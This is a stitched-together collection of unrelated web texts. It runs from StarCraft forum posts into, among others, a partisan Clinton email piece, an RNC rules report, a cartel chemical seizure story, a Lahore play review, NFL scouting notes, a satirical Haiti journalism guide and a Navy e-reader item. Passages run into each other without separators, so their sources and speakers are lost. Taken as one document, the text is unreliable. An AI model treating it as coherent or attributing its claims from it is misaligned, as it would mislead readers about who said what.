Definitely getting pass to see my fav player play. Huk Fighting!!! Developer for http://mtgfiddle.com
rolfe Profile Joined September 2010 United Kingdom 1266 Posts #12 those are some tough games for liquid, especially Haypro but i think they should do it. liquid fighting... especially HuK! life will not be contained. Life breaks free, it expands to new territories and crashes through barriers, painfully, maybe even dangerously but there it is. Life finds a way
labbe Profile Joined October 2010 Sweden 1442 Posts #13 This season of GSL will be beyond awesome! GOGO Liquid + moonglade!!!
rolfe Profile Joined September 2010 United Kingdom 1266 Posts Last Edited: 2011-02-16 19:01:32 #14
wait that zergs name goes Yeah Yeah then Yeahs. intentional joke and reference to
or not lol? or not lol? life will not be contained. Life breaks free, it expands to new territories and crashes through barriers, painfully, maybe even dangerously but there it is. Life finds a way
Slivered Skin Profile Joined September 2010 Canada 347 Posts Last Edited: 2011-02-16 19:05:51 #15 On February 17 2011 03:52 rolfe wrote:
wait that zergs name goes Yeah Yeah then Yeahs. intentional joke and reference to wait that zergs name goes Yeah Yeah then Yeahs. intentional joke and reference to http://www.youtube.com/watch?v=lOL-lzVT5Jc or not lol?
EDIT: Actually saw what Motbob did there now. Lol. EDIT: Actually saw what Motbob did there now. Lol. Those most oft mated find love’s motive in a word: inebriated - Get well Violet!! And sC!! T_T
GenesisX Profile Blog Joined February 2010 Canada 4257 Posts #16 Haypro has scrap station 133 221 333 123 111
MoreFaSho Profile Blog Joined May 2010 United States 1427 Posts #17 Can probably cross out the IdrA maps. I always try to shield slam face, just to make sure it doesnt work
motbob Profile Blog Joined July 2008 United States 12353 Posts #18 Code S up. And yes, the Yeah thing was intentional. Moderator Good content always wins.
Slivered Skin Profile Joined September 2010 Canada 347 Posts #19 Hmm, many of the player links go to their BW profiles, is this intentional?
Thank you so much for translating all of this for us!! Those most oft mated find love’s motive in a word: inebriated - Get well Violet!! And sC!! T_T
Numy Profile Blog Joined June 2010 South Africa 14148 Posts #20 On February 17 2011 03:41 awu25 wrote:
Show nested quote +
On February 17 2011 03:19 Numy wrote:
Haypro . Those are some tough maps! Thanks Motbob. Always hard at work.
ps: Think this is in the wrong section? Haypro. Those are some tough maps! Thanks Motbob. Always hard at work.ps: Think this is in the wrong section?
is every map still tough for zerg? i don't get where this is coming from... is every map still tough for zerg? i don't get where this is coming from...
Huh no, Shakuras is just very spawn dependent. Scrap isn't really bad. It can just be rough to beat a 2 base timing attack due to close rush distance. Huh no, Shakuras is just very spawn dependent. Scrap isn't really bad. It can just be rough to beat a 2 base timing attack due to close rush distance.
It doesn’t get more blatant than a staffer – whose name is redacted, but might be Bryan Pagliano, the IT staffer who invoked the Fifth Amendment over 125 times to avoid giving testimony on his actions – admitting he had an “oh, sh*t” moment when he realized her emails might still be where Congress, the FBI, and the American people could get at them:
A few weeks after the NYT disclosed that Hillary Clinton had a private email account, her archive inbox was deleted. pic.twitter.com/czdOLGtdFu — Matt Viser (@mviser) September 2, 2016
Remember, when Clinton was asked if her server had been wiped, she acted dumb and replied, “What, like with a cloth or something?”
And here we have Clinton’s operatives scrambling to use not a cloth, but BleachBit – which, as House Benghazi Chairman Trey Gowdy observed, is not the sort of utility one uses to blow up “yoga emails or bridesmaid’s emails,” but rather for “something you really do not want the world to see.”
Another convenient feature of BleachBit, as expounded by its creator: it’s a free, anonymous, untraceable download, so there is no “money trail” that could connect Clinton or her staff to the tools.
TAMPA — The Republican National Convention Rules Committee voted 63-38 to approve a new rule allowing granting the Republican National Committee — and Mitt Romney — sweeping new powers to amend the governing document of the GOP.
The move came at the encouragement of Mitt Romney supporters on the committee, including Romney's top lawyer Ben Ginsberg, who stressed that it would grant "flexibility" to Romney and the committee to adapt to changing political environments. The rule allows the RNC to amend the party's rules without a vote by the full Republican National Convention. And it offers the Republican Establishment a new tool to keep at by Tea Party initiatives that threaten to embarrass or contradict party leadership and stray from a planned message.
Romney, as his party's nominee, exerts significant influence over the RNC, which is made up of elected party officials from all 50 states, while the larger Convention Rules Committee is larger and has a more grassroots membership.
"This is necessary for the world in which we find ourselves in," Ginsberg told the committee, adding that it is "important for the political survival of the party in the electoral context," for the committee to be able to change the rules as it sees fit in the intervening four years between conventions.
Virginia delegate and RNC member Morton Blackwell strenuously objected to the proposed rule change, calling it "the most awful proposed amendments I’ve seen presented to this committee.”
"This is dangerous, it amounts to a power grab," he said. "We are abandoning the historic process by which are rules are adopted."
The Romney allies waited until Friday to propose the amendment, choosing to avoid giving the opposition time to organize by proposing it at the preliminary Rules meeting on Wednesday or during more than three years of RNC Rules Committee discussions.
South Carolina delegate Drew McKissick, who objected to the rule change, echoed Blackwell's charge, warning that nearly any rule could now be amended by 3/4 of the Republican National Committee.
The seizure took place in the municipality of Garcia, one of the areas that have seen an uptick in cartel violence in the state. The information from the anonymous call led authorities to pull over a tractor trailer with a refrigeration system near the Mithras Industrial Park. Inside, authorities found 259 large containers with 6,475 kilograms of phenylacetic acid (Phenylacetamide).
The seizure of the chemical was kept largely compartmentalized by Mexico’s Attorney General’s office in Nuevo Leon, as well as the arrest of the driver, 32-year-old Angel De Jesus (last name not released).
Earlier this month, Mexican marines seized 20 tons of phenylacetic acid in the Port City of Manzanillo, Colima, Breitbart Texas reported. The chemical was hidden inside a shipping container with 720 drums called Coyhaique that arrived from Shanghai.
While authorities have not linked the seizures in Colima and Nuevo Leon, law enforcement officials revealed to Breitbart Texas that there is a possibility that cartels could be changing tactics and are now setting up clandestine laboratories near the border with the U.S. instead of locations in Sinaloa, Colima, and Michoacan.
“The final destination of the shipment is a key part of the investigation,” a former law enforcement official with access to case information revealed to Breitbart Texas. “The quantity of the product points to a cooking operation in either Coahuila, Nuevo Leon or in Tamaulipas.”
I seldom miss a theatre play if there is one in town, and there is no excuse if the management is kind enough to send an invitation. I watched the ongoing play “Dengue - The Play” at Alhamra last Saturday.
Mainly responsible for bringing the production to light were some students of an elite school in Lahore, now expanding to other cities as well and their friends from other such reputed institutes.
Personally, I would have preferred going to a play with no social message at all but, being in this business myself I know how difficult it is to get funds and sponsors for a play made purely to entertain the audience, without any take-home message. So keeping in perspective the people behind it, I went to watch it hoping for less awareness-campaigning and more songs, dances, jokes, “senti” scenes and emotional performances.
To my surprise the play didn’t even try to spread awareness for the prevention or cure of dengue; instead, it brought to the audience’s notice its genesis and the ulterior motives on the part of the conspiring world and our ruling elite.
I wasn’t yet done figuring out the correlation (or rather, lack thereof) between the long list of sponsors on the brochure and banner, and the representatives giving away gift hampers on the one hand; and the austere simplicity of the set that almost looked cheap, when I turned my ear to what was happening on it.
The play begins at a time when there was no dengue. To establish how happy the nation was, the play starts off in 1992 with an ecstatic Richie Benaud declaring Pakistan the new World Cup champions. Then suddenly it cuts to just before the outbreak of dengue (in the meantime a corrupt government has taken over the reins). A stereotypical Hindu with a tilak (I have forgotten the character’s name even though its repeated again and again) who praises the idol gods after every line, brings the dengue mosquito in a jar to unleash it on the Pakistani public. A patriotic scientist, realising what havoc it could trigger once out of the jar, tries to stop the heinous act but the jar breaks while the two fight and the monster is out. They don’t disclose whether the Hindu was from India or a Pakistani, which makes it even more dangerous for the already persecuted minority here.
In this sinister background enters a Saudi sheikh, followed immediately, by way of comic relief, a few customary jokes on his 30 marriages and a perpetual state of insatiability. However, it is the good natured sheikh who ultimately finances the vaccine, mosquito repellants, etc., as he can’t see his Pakistani Muslim brothers die.
There’s a scene where a janitor girl associates herself with the west or something. I may have interpreted it wrong (my apologies if that is so), but if the connection was what I think it was, it is disturbing to say the least.
There was also a lot of ‘Yo mama’s so ugly’ type humor. I certainly have nothing against this but in no time they were resorting to (again not so original) political stuff like a guy asking, ‘What is that sucks blood and the victim dies?’ Instead of replying with dengue, the other guy answers, ‘Our president.’
The conclusion to the play was that dengue is either punishment from Allah or else bio-warfare on the part of our enemies. And you don’t even need to read between the lines to get this ‘message’.
They seem to have assembled the entire play around one scene; somebody probably came up with first. The scene is the climax where they put the mosquito on trial. After it is sentenced to death, the mosquito delivers a monologue to the audience to the effect that they can kill it but what have they done to stop corruption and injustice. The mosquito before dying insists that we should take charge and give our politicians a kick on their butt (this sentiment seems to be the flavor of the season these days).
I know the writers and directors of the play. They are all sweet kids, talented and dedicated actors. What made them go political is beyond me. I guess dating is relatively easier these days; I remember when I was their age I never thought of saving Pakistan. My whole world revolved around girls, who played so hard to get that boys couldn’t think of higher goals like saving humanity or the country.
The media too is responsible for making everyone believe he is more important than he actually is. And we can’t ignore the Imran Khan factor either, which has induced this belief in the youth that they will bring change. Imran’s Shiv Senalike philosophy that they just have to get rid of a few bad people and everything will be hunky-dory is simple enough for the youth to believe that they know everything, hence the overflow of reformers from all pores.
I don’t want to sound too judgmental; they might be right about their conspiracy theories. My question is: Does our corporate sector endorse these theories? Among the many sponsors, I remember big ones like Alckemy, FM89, Aplus, Bio Amla, the Punjab government, Alhamra Arts Council, Splitends etc. Did they read the script prior to sponsoring them? If they did not then what’s the criterion of getting projects sponsored? If they did, do they believe all this or does this come under freedom of speech?
I watched the whole play but have heard that in other shows some people walked out early and registered their protest on the Hindu angle. Judging from the fact that there have been no amendments in the script, the production team may have taken the protests as a sign that they were doing something right. The last show of the play is scheduled for Wednesday, 16th January.
Beygairat Brigade.
Since it’s hard to prove whether someone is texting or using their phone for another purpose, lawmakers say they’ll also consider “hands-free” legislation which would make it illegal to even hold a phone while driving.
"Because there is no enforcement, there is no compliance,"says Patrick Hoye of the Governor’s Traffic Safety Bureau, who supports a hands-free amendment. "For the [Iowa] State Patrol, less than 200 traffic citations were issued last year for texting while driving."
The ACLU of Iowa is opposing legislation, as it worries this will create an greater opportunity for racial profiling. But the civil liberties organization says a hands-free amendment does make the proposal less problematic.
"If it were hands-free," says the ACLU's Daniel Zeno, "it takes that discretion from the officer of, 'Is a person texting or doing something else?" and makes it, 'Is the phone in the person's hand?'"
Vision: An artist's impression of proposed flats on Sauchiehall Street. HAUS
A proposed student flats development next to Glasgow School of Art has been branded "totally inappropriate".
An application was submitted last month for an 185-bed student accommodation development in the city centre.
The former Jumpin' Jaks nightclub on Sauchiehall Street, which adjoins the school of art, would be demolished to make way for the new development.
A total of 20 objections have been made to the council, with the Charles Rennie MacKintosh Society hitting out at the plans.
The project would also include roof gardens, study rooms, common areas and a cinema room.
A consultation process involving Glasgow City Council, Glasgow School of Art, Historic Environment Scotland and local community councils have also taken place. Glasgow-based architect HAUS is handling the project.
A statement from the Charles Rennie Mackintosh Society said: " This proposed development is totally inappropriate and as you can see from the artist's impression would drastically affect Mackintosh's masterpiece at the Glasgow School of Art (GSA).
"It will block the view of GSA from Sauchiehall Street and Dalhousie Street, and will reduce the daylight from south-facing studios and affect views from the Hen Run and the west stairwell."
It added: "As a creative genius, Mackintosh is widely acknowledged as being among the most important world class architects of the time.
"The Glasgow School of Art is regarded as Mackintosh's architectural masterpiece and in 2009 the Mackintosh Building at the School of Art was voted the best British-designed building of the past 175 years in an RIBA poll.
"Sauchiehall Street is in need of regeneration but an unsympathetic development like this would be detrimental for any future plans for World Heritage."
A council spokesman said: "I can confirm that an application for the demolition of this site at 294 Sauchiehall Street and the erection of student housing development with ground floor commercial and associated works has been submitted, and will be considered in due course."
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“I’m not going to commit to when and what the vote is going to look like, because it’s my job to make sure that House Republicans can coalesce and come together and draw a consensus," Ryan told reporters at his weekly news conference.
“What I’m encouraging our members to do is figure out what solutions get us to a bill that everyone can vote for and pass,” the speaker added. “That’s the kind of conversations that are occurring.”
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“This is too big of an issue to not get right, so I’m not going to put some artificial deadline on saving the American health care system from an oncoming collapse.”
Ryan and other GOP leaders yanked the American Health Care Act from the House floor last Friday, after failing to whip up the votes needed to pass it. Despite a frantic effort by President Trump and Ryan, the ultraconservative Freedom Caucus rejected the bill for not going far enough in repealing Obamacare provisions, while moderate conservatives balked at other portions of the plan.
Trump has taken aim at the Freedom Caucus several times since, more recently in a Thursday morning tweet that charged the group "will hurt the entire Republican agenda if they don't get on the team, & fast. We must fight them, & Dems, in 2018!"
The Freedom Caucus will hurt the entire Republican agenda if they don't get on the team, & fast. We must fight them, & Dems, in 2018! — Donald J. Trump (@realDonaldTrump) March 30, 2017
"I understand the president's frustration,” Ryan said when asked to respond to Trump's tweet. “I share that frustration. About 90 percent of our conference is for this bill and about 10 percent are not. And that's not enough to pass the bill. We're close.”
News reporters are supposed to keep their opinions out of the stories they write and air. Twitter, it seems, is another realm entirely.
With the political campaigns staggering into their final days, mainstream reporters otherwise obligated to objectivity — or at least a reasonably balanced, non-argumentative account of events — have taken to Twitter to unburden themselves of their apparently true feelings about the race.
The primary target of their derision and general snark: Donald Trump.
Trump was “really just asking for it with this venue,” tweeted New York Times political reporter Alex Burns the other day, when Trump gave a speech in Gettysburg, Pa. “Like a losing caucus candidate speaking in Waterloo, IA.”
Over news that Trump held a rally in Bucks County, Pa., outside Philadelphia, wherein Trump pledged to put “our miners back to work,” Burns commented, “Like going to Manhattan and pledging to defend sugar subsidies. Really great,” he tweeted.
Burns has had plenty of company in the dump-on-Trump arts. Michael Hirsh, national editor of Politico’s magazine, let fly after a colleague confessed his exhaustion with covering the Republican nominee. “The entire nation needs a vacation from a certain person. #LetItEnd,” Hirsh tweeted, apparently referring to Trump.
His Politico colleague Ben White offered his own one-word take on news that Trump had used donors’ money to buy copies of his book “Art of the Deal”: #scampaign,” he tweeted.
Editors have long tried to keep reporters’ opinions out of stories by excising them from unpublished copy. But social-media platforms such as Twitter and Facebook give scribes a direct and unfiltered publishing platform, enabling them to address thousands or even hundreds of thousands of followers without a meddlesome editor standing in the way.
Most news organizations have policies on what is permissible for their employees to post on Twitter and Facebook. The Washington Post, for example, advises its journalists to avoid profanity, partisan political opinions and overheated exchanges with readers, said Tracy Grant, deputy managing editor. The Associated Press instructs employees to “refrain from declaring their views on contentious public issues in any public forum.”
But the standards are often ignored and intermittently enforced, especially in the hurly-burly of a campaign featuring a candidate as polarizing as Trump. In the past three months, The Post, BuzzFeed and the New York Times have sent memos to their news employees reminding them about their guidelines. In his second memo on the subject in three months, the Times’s standards editor, Phil Corbett, wrote last month that “Times newsroom staffers should avoid editorializing, endorsing candidates or otherwise promoting their own political views” on social media.
That hasn’t stopped Times journalists such as Burns, who has more than 75,000 Twitter followers, from disgorging a steady stream of sarcasm, argumentation and second-guessing about Trump in recent weeks.
“Trump on message so far, inasmuch as his message is ‘airing grievances about people who have wronged Donald Trump,’ ” Burns tweeted during the third presidential debate.
Burns, who declined to comment, has offered only a few such judgments about Hillary Clinton’s campaign tactics, speeches or behavior over the same time period. Asked for comment, a Times spokeswoman, Danielle Rhoades Ha, replied, “We don’t think the tweets you’ve cited reflect a partisan bias, and we are confident that our overall political coverage remains accurate and fair.”
Some journalists argue that the tweets aimed at Trump are warranted, given the unprecedented nature of his campaign. They point out that he has blacklisted news organizations, created a menacing atmosphere for the news media at his rallies, insulted dozens of reporters on Twitter, and advocated “opening up” the legal standards for libel so that he can prevail in lawsuits against reporters he dislikes. Hirsh, for example, replied via email that his tweet about needing a vacation from Trump was “pretty thin ­gruel” and suggested it was a joshing reference not to Trump but to a colleague.
On the other hand, Hirsh’s boss, Politico editor John Harris, thinks journalists should exercise more restraint. Without singling out anyone in particular, Harris said, “I think people pop off to excess and hurt themselves in the process.” He added, “I get upset by what I see. I don’t think there’s an editor who doesn’t feel that way.”
Politico’s co-founder and former chief executive, Jim VandeHei, offers a similar eye roll. “To me, sticking to facts and smart, fact-based analysis is the safe, smart place to be,” he said via email. “But snark seems to be winning — decisively.”
Some of Politico’s journalists can be as snarky as anyone on Twitter. White, the publication’s chief economics correspondent, seeds his Twitter feed with Trump barbs such as, “ ‘I don’t give my employees good health insurance’ is a really weird argument to make”; “Only Trump could screw up a layup of a campaign issue” (in reaction to Trump’s comments about Affordable Care Act rate hikes) and “All polls are phony [to Trump] unless he is ahead in them in which case they are the word of God.”
His colleague, chief political correspondent Glenn Thrush, has also offered tart Twitter commentary on many things Trump. Thrush live-tweeted the last debate, snarking, “Note to future presidential hopefuls: debate prep, maybe, matters a little” and “The problem for Trump: [Clinton] is better at being reasonable than he is.”
Thrush suggests that none of those tweets is “disputable.” He also said that he has offered both praise for Trump and criticism of Clinton in his missives. “I tweet a lot during debates, in part, because it provides the seed-corn for my takeaways,” he said by email, “and gives me real-time crowd-source feedback (positive and negative) that I find really valuable.”
He added: “That Trump is often the target of those barbs simply reflects the fact that his candidacy challenges the norms of American politics while seeking to undermine and delegitimize the good work of the well-intentioned men and women who cover him. I give Clinton plenty of scrutiny too.”
Thrush, indeed, may be mild in his Twitter treatment of Trump compared with other journalists. The conservative Daily Caller news site recently called out several BuzzFeed reporters and editors for their unrestrained contempt.
The site noted, for example, that, when the first Trump-Pence campaign logo was unveiled, BuzzFeed technology writer Charlie Warzel tweeted “lol to all of us tho for thinking that after a year of racist, vitriolic campaigning that trump gives two s---s about a logo.” And it pointed out that BuzzFeed’s world news editor and reporter, Hayes Brown, tweeted last month, “Donald Trump’s policy proposals are almost entirely made up of racism, tautologies, and racist tautologies.”
BuzzFeed editor Ben Smith declined to comment on individual tweets. Instead, he said, “We are proud of our tough, fair coverage on every platform.”
Smith issued a warning to his staff about proper social-media behavior in July after one of his reporters said she was so excited by President Obama’s speech at the Democratic convention that she “wet” herself.
Tim Graham, a self-described reluctant Trump supporter who is the director of media analysis at the conservative Media Research Center, isn’t buying that coverage is fair.
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A scout told me this spring that Ka’Deem Carey is the type of runner that scouts like and coaches love, but makes personnel executives squint their eyes. Carey’s off-field domestic violence charge early in his college career is a viable reason for scrutiny, but it’s not the reason the scout I spoke with says that some big wigs in NFL front offices weren’t jumping on board with their staffs.
Carey is a punishing runner for a back that weighed less than 210 pounds at the combine. He also ran a 4.7-40, which is by no means a death knell for a running back, but the front office sees the smaller stature, the average speed, and a career built on volume and the risk management hat comes on.
However, coaches love the intensity that a player like Carey brings to the game and the Bears have the kind of offense where I believe the rookie can develop into a feature back when Matt Forte’s contract expires. Carey’s 21-carry, 138-yard night against USC that included 10 first downs, 11 broken tackles, and 6 catches for 36 yards offers some quality moments that illustrate why I hold this view of the Bears’ fourth-round pick.
A quick suggestion: Set the speed to “0.5” on YouTube’s playback settings “the cog” icon on the bottom right of the video player before viewing each highlight.
Turning Losses Into Gains
Quickness and agility are more important than speed to a running back and vision to identify and avoid trouble trumps all three. This third-down run from a 2×2 receiver, 10 personnel shotgun set with 13:47 in the third quarter is a not against a packed box, but it’s still a good demonstration of what I’m talking about. Carey’s offensive line slants left and the runner intends to split the tackle and guard on that end to the flat.
However, USC ‘s tackle gets strong penetration up the middle to cut off this gap as Carey is taking the exchange with the quarterback. By the time Carey has the ball and a step past his quarterback, this tackle is two yards deep in the backfield and is blocking the widest gap at the line of scrimmage.
Carey has already identified the penetration and taking action. His first step is a hard plant and dip inside, but it’s not enough to avoid the tackle’s angle and he knows it. Some running backs will try to cut off the inside foot and lose balance.
Not Carey. He completes the second step with a turn, but it’s a quick step so he can plant harder with the outside leg to maintain balance and generate burst. It’s a minor adjustment that gets him inside the penetration and downhill with balanced pad level.
Now Carey can attack the defense in the middle of the field while avoiding the outside gap protection of the defensive back. He’s also in position to keep his knees high to run through the defensive back’s wrap.
He finishes the play backing his way to the Arizona 43 for a gain of eight on what could have been a loss of three. As I said, quickness and agility are more important than speed to a running back and vision to identify and avoid trouble trumps all three. Wash. Rinse. Repeat.
High Knees
This 39-yard gain highlights Carey’s average speed, but what I like is the finish. Once again this is a run where USC is expecting pass, but I love how Cary pressed to the inside shoulder of the left tackle to force the defensive tackle inside and then cuts to his blocker’s outside shoulder to hit the smaller crease between the left tackle and H-Back.
This press and cut not only sets up the initial hole, but it baits the middle linebacker to slide outside and give the left guard the angle he needs to seal the edge at the second level. This is fine inside running by Carey, because if he tries to beat the defensive tackle inside, the linebacker is already in position to end this play early. Instead, Carey sets up the smaller crease and in turn sets up guard’s block.
The reward is a first down and another 29 yards. As Carey gets 20 yards into the run, note how high he lifts his knees as he anticipates and runs through contact.
Carey gains another 14 yards in part to running with his knees high. The Bears’ new runner may not break long touchdown runs, but he’ll have a lot of runs of 15-25 yards that matter.
Integrating Both Skills From Above
This is another third-down run early in the fourth quarter where Carey essentially faces a five-man front with six at the line of scrimmage. Again, these are favorable numbers for the ground game, but not when a defensive tackle swims past the center and beats the right guard assigned to him. The defensive tackle is a yard deep int the backfield with a good angle before Carey even takes the exchange.
Carey plants hard as he takes the exchange and turns his hips away from the reach of the defender who is almost four yards into the backfield.
He then bursts down hill with high knees through the crease, earning the first down and carrying a defender for a 12-yard gain on what could have been a three-yard loss.
Reading the Field A Level Ahead
Finding running backs with the capability to read and set up defenders a level ahead of the ball carrier’s current position is not as common as one might think. Most running backs–even in the NFL–read one level of defenders at a time. This 1st and 10 run with 10:11 in the game is a good example of Carey reading a level ahead. It’s a play that I think is easy for some analysts to get wrong and characterize it as Carey “wasting movement.”
Carey flanks the left side of the quarterback in this pistol set with 2×2 receivers. USC plays off coverage on the receivers and both safeties are deep enough that the defense is expect pass, but the linebackers are still in good position to defend the run. As Carey takes the exchange from the quarterback, note linebackers No.10 (middle of field) and No.56 (accountable for the left flat in the short zone).
No.10 maintains good position to defend the inside and prevent a cutback to the middle. No.56 does a strong job of reacting tot he hole between left guard and left tackle, flying towards the gap after accounting for the slot receiver and verifying the exchange between the quarterback and runner. However, watch Carey read No.56, bounce the play three steps to the outside, and force No.56 to account for the edge.
I believe Carey knew exactly what he was doing on this run: He saw the hole and the linebacker’s reaction, baited the defender outside, and all the while was prepared to spin his way inside and back his way through the small crease for positive yards. This is a lot like a two-way go, but Carey knows he’s operating in a tight space and has to factor the two first-tier defenders into his movement.
One of the reasons I believe Carey knew what he was doing is his spin move. He doesn’t try to do a complete 360-degree turn. If he does, the tackle plants him behind the line of scrimmage. Only a runner that does not see or feel the tackle working down the line tries a full spin. It’s the type of 360 move that at one time Darren McFadden might have tried on a zone play and failed. Carey spins so his back is to the defender and he has leverage to drive through the hit and earn yards.
A three-yard gain doesn’t seem impressive in the box score, but this is a good example of process trumping the product. Carey makes a good decision and is fast enough to set up the move while factoring four defenders into his choice, gaining three yards instead of potentially bouncing outside or cutting back for a loss or executing a full spin for no gain.
Some scouts would examine this run and label it a good example of “feel” or “intuition.”
Plays Big In Tight Quarters
The previous play was an example of how Carey leveraged his size for maximum power in a situation where he could have been planted into the ground by a much bigger man. This reception and run for a first down on 3rd and 7 with 9:40 in the game is technically a “space play” based on the location, but the room Carey has to operate in the flat as he makes the catch and run is anything but.
Once again this is a 2×2 receiver, 10 personnel shotgun set with Carey flanking the quarterback’s left side. USC has one safety deep middle and the rest of the coverage on the receivers is six yards off the line of scrimmage. Six USC defenders pack the box pre-snap. USC sends four–including two defenders towards the left edge, which leaves the flat open until the middle linebacker can sprint across to account for Carey swing from the backfield.
Arizona’s quarterback does a good job holding the defense in the middle of the field long enough for the linebacker to account for the crossing route moving under him left to right. This look-off paired with the shallow cross leaves Carey open in the flat and forces the defensive back to drive up field from the Arizona 45 towards Carey working towards the ball at the line of scrimmage at the 35.
Carey feels the presence of the defensive back over top and extends his arms to attack the ball at the 39. It’s a play that, if he misses, he might have been accused of alligator arms, but upon repeated viewings I think the ball was far enough and low enough that Carey had to extend the way he did to make the catch and the presence of the defensive back was a secondary factor, at best.
Once Carey makes the catch, he illustrates the awareness to spin, avoid the big hit, and force a wrap. Once achieved, Carey has pad level and leg drive to drag two players four yards. He crossed the first down marker and gains another three. Not a Lache Seastrunk display of disappearing in thin air and taking the ball another 40 yards, but also a play that Lache Seastrunk does not make 9 times out of 10 at his current level of skill.
Carey flashes the skill to concentrate on what he needs to do in the moment while anticipating what comes next. He’s also consistent and finishing strong. It’s easy to forget his weight is in the range of 207-210 pounds. I think he’ll add weight and explosion within the next year and it will only accentuate these positives of his game.
Tight quarters isn’t just winning against multiple defenders on top of you; navigating a sideline is another example. Here’s a catch as a check-down option after the play breaks down. Carey works across the formation towards the edge defender, but the quarterback is forced to scramble to Carey’s side due to interior pressure and Carey loses position on the defender because of the quarterback’s roll out.
The runner knows that it’s now time to work open as a receiver and he sprints to the right flat. The quarterback makes the throw and Carey makes the catch on the run five yards behind the line of scrimmage, but with the sideline open to him.
The pursing defensive linemen has an angle as Carey crosses the line of scrimmage to the sideline and there’s a defensive back over top and charging up the sideline. Carey stutters to freeze the two defenders, set up a block on the lineman, and plays give-a-leg-take-a-leg on the cornerback at the sideline. Even with the move to avoid much of the corner’s hit, Carey still gets hit hard on the leg, five yards past the line of scrimmage, maintains his balance while straddling the boundary and gains another five yards for the first down before the linebacker pushes the runner out.
It’s a tough play that appears easy when Carey executes it. It’s something I could say about all of these examples. It’s probably why football players and coaches are excited about him, but writers are lukewarm.
Actor Sean Penn, who is helping manage a camp of displaced earthquake victims in Haiti, is making pointed criticisms of journalists for dropping the ball on coverage of Haiti. He's wrong. I've been on the ground in Port-au-Prince working as an independent journalist for the past ten months. I'm an earthquake survivor who's seen the big-time reporters come and go. They're doing such a stellar job and I want to help out, so I've written this handy guide for when they come back on the one-year anniversary of the January quake!
For starters, always use the phrase 'the poorest country in the Western hemisphere.' Your audience must be reminded again of Haiti's exceptional poverty. It's doubtful that other articles have mentioned this fact.
You are struck by the 'resilience' of the Haitian people. They will survive no matter how poor they are. They are stoic, they rarely complain, and so they are admirable. The best poor person is one who suffers quietly. A two-sentence quote about their misery fitting neatly into your story is all that's needed.
On your last visit you became enchanted with Haiti. You are in love with its colorful culture and feel compelled to return. You care so much about these hard-working people. You are here to help them. You are their voice. They cannot speak for themselves.
Don't listen if the Haitians speak loudly or become unruly. You might be in danger, get out of there. Protests are not to be taken seriously. The participants were probably all paid to be there. All Haitian politicians are corrupt or incompetent. Find a foreign authority on Haiti to talk in stern terms about how they must shape up or cede power to incorruptible outsiders.
The US Embassy and United Nations always issue warnings that demonstrations are security threats. It is all social unrest. If protesters are beaten, gassed, or shot at by UN peacekeepers, they probably deserved it for getting out of control. Do not investigate their constant claims of being abused.
It was so violent right after the January 2010 earthquake. 'Looters' fought over goods 'stolen' from collapsed stores. Escaped prisoners were causing mayhem. It wasn't necessary to be clear about how many people were actually hurt or died in fighting. The point is that it was scary.
Now many of those looters are 'squatters' in 'squalid' camps. Their tent cities are 'teeming' with people, like anthills. You saw your colleagues use these words over and over in their reports, so you should too. You do not have time to check a thesaurus before deadline.
Point out that Port-au-Prince is overcrowded. Do not mention large empty plots of green land around the city. Of course, it is not possible to explain that occupying US Marines forcibly initiated Haiti's shift from distributed, rural growth to centralized governance in the capital city. It will not fit within your word count. Besides, it is ancient history.
If you must mention Haiti's history, refer vaguely to Haiti's long line of power-hungry, corrupt rulers. The 'iron-fisted' Duvaliers, for example. Don't mention 35 years of US support for that dictatorship. The slave revolt on which Haiti was founded was 'bloody' and 'brutal.' These words do not apply to modern American offensives in Afghanistan and Iraq.
Today, Cite Soleil is the most dangerous slum in the world. There is no need to back up this claim with evidence. It is 'sprawling.' Again, there's no time for the thesaurus. Talk about ruthless gangs, bullet holes, pigs and trash. Filth everywhere. Desperate people are eating cookies made of dirt and mud! That always grabs the reader's attention.
Stick close to your hired security or embed yourself with UN troops. You can't walk out on your own to profile generous, regular folk living in tight-knit neighborhoods. They are helpless victims, grabbing whatever aid they can. You haven't seen them calmly dividing food amongst themselves, even though it's common practice.
Better to report on groups that periodically enter from outside to deliver food to starving kids (take photos!). Don't talk to the youth of Cite Soleil about how proud they are of where they come from. Probably gang members. Almost everyone here supports ex-President Jean-Bertrand Aristide. But their views aren't relevant. There is no need to bring politics into your story.
You can't forget to do another story about restaveks. Child slaves. It's so shocking. There is little new information about restaveks, so just recycle old statistics. Present it as a uniquely Haitian phenomenon. Enslaved Haitian farmworkers in southern Florida, for example, aren't nearly as interesting.
When you come back here in six months, there will still be a lot of desperate poor people who have received little to no help. There are many big, inefficient foreign NGOs in Haiti. Clearly something is wrong. Breathless outrage is the appropriate tone.
But do not try to get to the bottom of the issue. Be sure to mention that aid workers are doing the best they can. Their positive intentions matter more than the results. Don't name names of individuals or groups who are performing poorly. Reports about food stocks sitting idly in individual warehouses are good. Investigations into why NGOs are failing to effect progress in Haiti are boring and too difficult. Do not explore Haitian-led alternatives to foreign development schemes. There are none. Basically, don't do any reporting that could change the system.
On the other hand, everyone here loves Bill Clinton and Wyclef Jean. There are no dissenting views on this point. Never mind that neither lives here. Never mind that Clinton admitted to destroying Haiti's domestic rice economy in the '90s. Never mind that Jean's organization has repeatedly mismanaged relief funds. That's all in the past. They represent Haiti's best hope for the future. Their voices matter, which means the media must pay close attention to them, which means their voices matter, which means the media must ...
Finally, when you visit Haiti again: Stay in the same expensive hotels. Don't live close to the people. Produce lots of stories and make money. Pull up in your rented SUV to a camp of people who lost their homes, still living under the wind and rain. Step out into the mud with your waterproof boots. Fresh notepad in hand. That ragged-looking woman is yelling at you that she needs help, not another foreigner taking her photo. Her 3-year-old boy is standing there, clinging to her leg. Her arms are raised, mouth agape, and you can't understand her because you don't speak Haitian Creole.
The US Navy is to provide custom e-readers, dubbed the Navy eReader Device (NeRD), to some of its sailors.
For security reasons, they will have no ports, wi-fi or roaming data capabilities as these features could be exploited by the enemy.
Five devices will be distributed among each US Navy active submarine fleet.
A broad range of books will be available from classics to best-sellers.
"At this time only submarines will receive devices," explained Nellie Moffitt, manager of the Navy General Library Program.
"[There will be] five per submarine, with a total of 355 for the submarine force. Eventually, we will send NeRDs to all vessels in the active fleet - it will take time as each collection will be tailored for specific audiences," Ms Moffitt told the BBC.
Features and restrictions
Traditional e-readers are not permitted on many Navy vessels as their GPS, wi-fi and roaming data features can give away their position to the enemy.
NeRD is said to overcome these issues thanks to its portability and lack of inputs and internet connectivity.
Unfortunately the absence of features means new books cannot be added to or removed from the device.
As a result, the e-readers come pre-loaded with 300 books, selected from the General Library Program's 108,000 titles.
Confirmed authors featured on the device include Jane Austen, Shakespeare and James Joyce.
